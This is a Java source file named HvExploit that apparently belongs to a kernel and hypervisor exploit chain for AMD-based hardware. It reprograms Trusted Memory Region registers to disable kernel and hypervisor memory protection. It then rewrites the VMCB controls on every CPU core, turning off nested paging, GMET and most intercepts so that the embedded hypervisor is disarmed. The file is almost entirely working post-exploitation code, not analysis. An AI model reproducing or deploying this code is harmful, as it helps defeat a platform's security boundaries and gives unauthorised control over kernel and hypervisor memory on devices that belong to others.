HvExploit.java
March 15, 2026 ยท View on GitHub
package org.exploit;
import java.util.ArrayList;
import org.bootstrap.Log;
import org.exploit.structs.Cpuset; import org.exploit.structs.TmrRegionConfig;
public class HvExploit { public static final int D18F2_BUS = 0x0; public static final int D18F2_SLOT = 0x18; public static final int D18F2_FUNC = 0x2;
// D18F2x080: TMRIndexRegister: TMR Index Register
public static final long TMR_INDEX_REGISTER_ADDRESS;
// D18F2x084: TMRDataPortRegister: TMR Data Port Register
public static final long TMR_DATA_PORT_REGISTER_ADDRESS;
//-------------------------------------------------------------------------
private static final Api api = Api.getInstance();
static {
TMR_INDEX_REGISTER_ADDRESS = Helpers.getPCIConfigDmapAddress(D18F2_BUS, D18F2_SLOT, D18F2_FUNC, 0x80);
TMR_DATA_PORT_REGISTER_ADDRESS = Helpers.getPCIConfigDmapAddress(D18F2_BUS, D18F2_SLOT, D18F2_FUNC, 0x84);
}
private HvExploit() {
}
//-------------------------------------------------------------------------
public static TmrRegionConfig getTmrRegionConfig(int index) {
final int offset = index * 0x10;
final int baseAddressIndex = offset + 0x0; // TmrBaseAddr: Trusted Memory Region Base Address [47:16]
final int limitAddressIndex = offset + 0x4; // TmrLimitAddr: Trusted Memory Region Limit Address [47:16]
final int ctlIndex = offset + 0x8; // TmrCtl: Trusted Memory Region Control
final int fidIndex = offset + 0xC; // TmrFid: Trusted Memory Region FabridId & UnitId
final long addressMask = MathUtil.generateMask64(16, 63);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, baseAddressIndex);
final int baseTruncAddress = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, limitAddressIndex);
final int limitTruncAddress = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, ctlIndex);
final int ctl = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, fidIndex);
final int fid = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);
final long baseAddress = ((long)baseTruncAddress << 16) & addressMask;
final long limitAddress = ((long)limitTruncAddress << 16) & addressMask;
return new TmrRegionConfig(baseAddress, limitAddress, ctl, fid);
}
public static boolean setTmrRegionConfig(int index, TmrRegionConfig cfg) {
Checks.ensureNotNull(cfg);
final int offset = index * 0x10;
final int baseAddressIndex = offset + 0x0; // TmrBaseAddr: Trusted Memory Region Base Address [47:16]
final int limitAddressIndex = offset + 0x4; // TmrLimitAddr: Trusted Memory Region Limit Address [47:16]
final int ctlIndex = offset + 0x8; // TmrCtl: Trusted Memory Region Control
final int fidIndex = offset + 0xC; // TmrFid: Trusted Memory Region FabridId & UnitId
final long addressMask = MathUtil.generateMask64(16, 63);
final int baseTruncAddress = (int)((cfg.getBaseAddress() & addressMask) >>> 16);
final int limitTruncAddress = (int)((cfg.getLimitAddress() & addressMask) >>> 16);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, baseAddressIndex);
api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, baseTruncAddress);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, limitAddressIndex);
api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, limitTruncAddress);
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, fidIndex);
api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, cfg.getFid());
api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, ctlIndex);
api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, cfg.getCtl());
return true;
}
//-------------------------------------------------------------------------
public static boolean disableKernelMemoryProtection() {
final long kernelTextBasePhysAddress = MemoryUtil.getPhysAddressFromKernelVirtualAddress(Globals.kernelTextBaseAddress);
if (kernelTextBasePhysAddress == 0L) {
Log.warn("Getting kernel text base physical address failed");
return false;
}
return disableMemoryProtectionInternal("kernel", kernelTextBasePhysAddress, Constants.PAGE_SIZE);
}
public static boolean disableHypervisorMemoryProtection() {
return disableMemoryProtectionInternal("hypervisor", Constants.HV_REGION_BASE, Constants.PAGE_SIZE);
}
public static boolean disableMemoryProtectionInternal(String name, long basePhysAddress, int size) {
Checks.ensureTrue(size > 0);
Log.debug("Base physical address of " + name +": " + TypeUtil.int64ToHex(basePhysAddress));
int index = -1;
final ArrayList<TmrRegionConfig> configs = new ArrayList<TmrRegionConfig>();
for (int i = Constants.MAX_TMR_REGIONS - 1; i >= 0; i--) {
final TmrRegionConfig cfg = getTmrRegionConfig(i);
if (cfg == null) {
Log.warn("Getting TMR cfg #" + i + " failed");
continue;
}
final int ctl = cfg.getCtl();
if (TypeUtil.compareUnsigned(basePhysAddress, cfg.getBaseAddress()) >= 0 && TypeUtil.compareUnsigned(basePhysAddress + size - 1, cfg.getLimitAddress()) <= 0) {
Log.debug("Found TMR of " + name + " with index: " + i);
configs.add(cfg);
index = i;
}
cfg.dump(i);
}
if (index == -1) {
Log.warn("TMR of " + name + " not found");
return false;
} else if (configs.size() > 1) {
Log.warn("Multiple TMR of " + name + " found");
return false;
}
final TmrRegionConfig cfg = configs.get(0);
if (cfg.getVal() == 0) {
Log.debug("TMR is not valid (already disabled?)");
return true;
}
Log.debug("Old TMR CTL: " + TypeUtil.int32ToHex(cfg.getCtl()));
Log.debug("Old TMR FID: " + TypeUtil.int32ToHex(cfg.getFid()));
cfg.setCtl(0); // Original value: 0x407
cfg.setFid(0); // Original value: 0x0
cfg.setVal(1); // Valid
cfg.setWE(1); // Write Enable
cfg.setCE(1); // Cacheable Access Enable
cfg.setSaeSMU(1); // Source Access Enabled for SMU
cfg.setSaePIE(1); // Source Access Enabled for PIE
cfg.setSaeCCM(1); // Source Access Enabled for CCM
cfg.setSaeGFX(1); // Source Access Enabled for GCM/GUS
cfg.setSaeNCM(1); // Source Access Enabled for NCM
cfg.setSaeIOM(1); // Source Access Enabled for IOM
Log.debug("New TMR CTL: " + TypeUtil.int32ToHex(cfg.getCtl()));
Log.debug("New TMR FID: " + TypeUtil.int32ToHex(cfg.getFid()));
//Log.debug("Setting new TMR config #" + index);
if (!setTmrRegionConfig(index, cfg)) {
Log.warn("Setting new TMR config #" + index + " failed");
return false;
}
return true;
}
public static boolean disableMemoryProtectionInternalOld(String name, long basePhysAddress, int size) {
Log.debug("Base physical address of " + name +": " + TypeUtil.int64ToHex(basePhysAddress));
int targetTmrIndex = -1;
int freeTmrIndex = -1;
final TmrRegionConfig[] configs = new TmrRegionConfig[Constants.MAX_TMR_REGIONS];
for (int i = configs.length - 1; i >= 0; i--) {
final TmrRegionConfig cfg = getTmrRegionConfig(i);
if (cfg == null) {
Log.warn("Getting TMR #" + i + " config failed");
continue;
}
final int ctl = cfg.getCtl();
if (cfg.getSaeCCM() == 1) {
if (TypeUtil.compareUnsigned(cfg.getBaseAddress(), basePhysAddress) <= 0 && TypeUtil.compareUnsigned(basePhysAddress + size, cfg.getLimitAddress()) < 0) {
targetTmrIndex = i;
}
} else {
if (freeTmrIndex == -1) {
freeTmrIndex = i;
}
}
configs[i] = cfg;
cfg.dump(i);
}
if (targetTmrIndex == -1) {
Log.warn("TMR of " + name + " not found");
return false;
}
Log.debug("Found TMR of " + name + " with index: " + targetTmrIndex);
if (configs[targetTmrIndex].getVal() == 0) {
Log.debug("Kernel TMR is not valid (already disabled?)");
return true;
}
TmrRegionConfig newConfig = configs[targetTmrIndex].clone();
Log.debug("Old TMR CTL: " + TypeUtil.int32ToHex(newConfig.getCtl()));
Log.debug("Old TMR FID: " + TypeUtil.int32ToHex(newConfig.getFid()));
newConfig.setCtl(0); // Original value: 0x407
newConfig.setFid(0); // Original value: 0x0
newConfig.setVal(1); // Valid
newConfig.setWE(1); // Write Enable
newConfig.setCE(1); // Cacheable Access Enable
newConfig.setSaeSMU(1); // Source Access Enabled for SMU
newConfig.setSaePIE(1); // Source Access Enabled for PIE
newConfig.setSaeCCM(1); // Source Access Enabled for CCM
newConfig.setSaeGFX(1); // Source Access Enabled for GCM/GUS
newConfig.setSaeNCM(1); // Source Access Enabled for NCM
newConfig.setSaeIOM(1); // Source Access Enabled for IOM
Log.debug("New TMR CTL: " + TypeUtil.int32ToHex(newConfig.getCtl()));
Log.debug("New TMR FID: " + TypeUtil.int32ToHex(newConfig.getFid()));
//Log.debug("Setting new TMR config #" + targetTmrIndex + " for kernel");
if (!setTmrRegionConfig(targetTmrIndex, newConfig)) {
Log.warn("Setting new TMR config #" + targetTmrIndex + " for kernel failed");
return false;
}
return true;
}
//-------------------------------------------------------------------------
public static long getVCPUVirtualAddress(int coreId) {
Checks.ensureTrue(coreId >= 0 && coreId < Constants.VM_MAXCPU);
Checks.ensureNotZero(Offsets.addressOf_kernel__hv_vm_area_start);
return Offsets.addressOf_kernel__hv_vm_area_start + Constants.VM_MAXCPU * Offsets.sizeOf_vcpu + 0x8 + coreId * Offsets.sizeOf_vcpu;
}
public static long[] getVMCBAddresses(int coreId) {
final long vcpuVirtAddress = getVCPUVirtualAddress(coreId);
Log.debug("VCPU virtual address: " + TypeUtil.int64ToHex(vcpuVirtAddress));
final long vcpuPhysAddress = MemoryUtil.getPhysAddressFromKernelVirtualAddress(vcpuVirtAddress);
if (vcpuPhysAddress == 0L) {
Log.warn("Getting VCPU physical address failed");
return null;
}
Log.debug("VCPU physical address: " + TypeUtil.int64ToHex(vcpuPhysAddress));
final long vmcbVirtAddress = api.readPhysical64(vcpuPhysAddress + Offsets.offsetOf_vcpu_vmcb_va);
if (vmcbVirtAddress == 0L || vmcbVirtAddress == -1L) {
Log.warn("Bad VMCB virtual address " + TypeUtil.int64ToHex(vmcbVirtAddress) + " (hypervisor issue?)");
return null;
}
Log.debug("VMCB virtual address: " + TypeUtil.int64ToHex(vmcbVirtAddress));
final long vmcbPhysAddress = MemoryUtil.getPhysAddressFromKernelVirtualAddress(vmcbVirtAddress);
if (vmcbPhysAddress == 0L) {
Log.warn("Getting VMCB physical address failed");
return null;
}
Log.debug("VMCB physical address: " + TypeUtil.int64ToHex(vmcbPhysAddress));
return new long[] { vmcbVirtAddress, vmcbPhysAddress };
}
//-------------------------------------------------------------------------
public static boolean disarmEmbeddedHypervisorForSpecificCore(int coreId) {
final long[] vmcbAddresses = getVMCBAddresses(coreId);
if (vmcbAddresses == null) {
Log.warn("Getting VMCB address failed");
return false;
}
final long vmcbVirtAddress = vmcbAddresses[0];
final long vmcbPhysAddress = vmcbAddresses[1];
int value32;
long value64;
// Read old VMCB.
final MemoryBuffer buffer = api.readPhysicalBuffer(vmcbPhysAddress + Offsets.offsetOf_vmcb_ctrl, Offsets.sizeOf_vmcb_ctrl);
// Disable GMET and NP in NP CTRL.
value64 = buffer.read64(Offsets.offsetOf_vmcb_ctrl_np_ctrl); // 0x9
Log.debug("Old NP ctrl: " + TypeUtil.int64ToHex(value64));
value64 = MathUtil.updateBits64(value64, 0, 0, 0 + 1 - 1); // NP enable = 0
value64 = MathUtil.updateBits64(value64, 0, 3, 3 + 1 - 1); // GMET enable = 0
Log.debug("New NP ctrl: " + TypeUtil.int64ToHex(value64));
buffer.write64(Offsets.offsetOf_vmcb_ctrl_np_ctrl, value64); // 0x0
// Disable interception of CRx writes.
value32 = buffer.read32(Offsets.offsetOf_vmcb_ctrl_cr_intercepts); // 0x100000
Log.debug("Old CR intercepts: " + TypeUtil.int32ToHex(value32));
value32 = 0;
Log.debug("New CR intercepts: " + TypeUtil.int32ToHex(value32));
buffer.write32(Offsets.offsetOf_vmcb_ctrl_cr_intercepts, value32); // 0x0
// Disable general #1 interceptions.
value32 = buffer.read32(Offsets.offsetOf_vmcb_ctrl_general1_intercepts); // 0x10400020
Log.debug("Old general #1 intercepts: " + TypeUtil.int32ToHex(value32));
value32 = MathUtil.clearField32(value32, ~(1 << 18)); // Keep interception of CPUID instruction
Log.debug("New general #1 intercepts: " + TypeUtil.int32ToHex(value32));
buffer.write32(Offsets.offsetOf_vmcb_ctrl_general1_intercepts, value32); // 0x0
// Disable general #2 interceptions.
value32 = buffer.read32(Offsets.offsetOf_vmcb_ctrl_general2_intercepts); // 0x407F
Log.debug("Old general #2 intercepts: " + TypeUtil.int32ToHex(value32));
value32 = MathUtil.clearField32(value32, ~( // Keep interception of some instructions
(1 << 0) | // VMRUN
(1 << 1) | // VMMCALL
(1 << 2) | // VMLOAD
(1 << 3) // VMSAVE
));
Log.debug("New general #2 intercepts: " + TypeUtil.int32ToHex(value32));
buffer.write32(Offsets.offsetOf_vmcb_ctrl_general2_intercepts, value32); // 0xF
// Write new VMCB.
api.writePhysicalBuffer(vmcbPhysAddress + Offsets.offsetOf_vmcb_ctrl, buffer);
return true;
}
public static boolean disarmExternalHypervisor() {
// TODO: Need to implement.
return true;
}
public static boolean disarmEmbeddedHypervisor() {
final int coreId = ThreadUtil.getCurrentCpuCoreId();
if (coreId == -1) {
Log.warn("Getting CPU core ID failed");
return false;
}
Log.debug("Current core id: " + coreId);
final Cpuset initialCpuAffinity = ThreadUtil.getCurrentThreadCpuAffinity();
if (initialCpuAffinity == null) {
Log.warn("Getting CPU affinity mask failed");
return false;
}
final Cpuset newCpuAffinity = new Cpuset(coreId);
if (!ThreadUtil.setCurrentThreadCpuAffinity(newCpuAffinity)) {
Log.warn("Pinning main thread to core #" + coreId + " failed");
return false;
}
boolean status = true;
for (int i = 0; i < Constants.VM_MAXCPU; i++) {
Log.debug("Disarming hypervisor for core #" + i);
if (!disarmEmbeddedHypervisorForSpecificCore(i)) {
Log.warn("Disarming hypervisor for core #" + i + " failed");
status = false;
}
}
if (!ThreadUtil.setCurrentThreadCpuAffinity(initialCpuAffinity)) {
Log.warn("Unpinning main thread from core #" + coreId + " failed");
return false;
}
return status;
}
}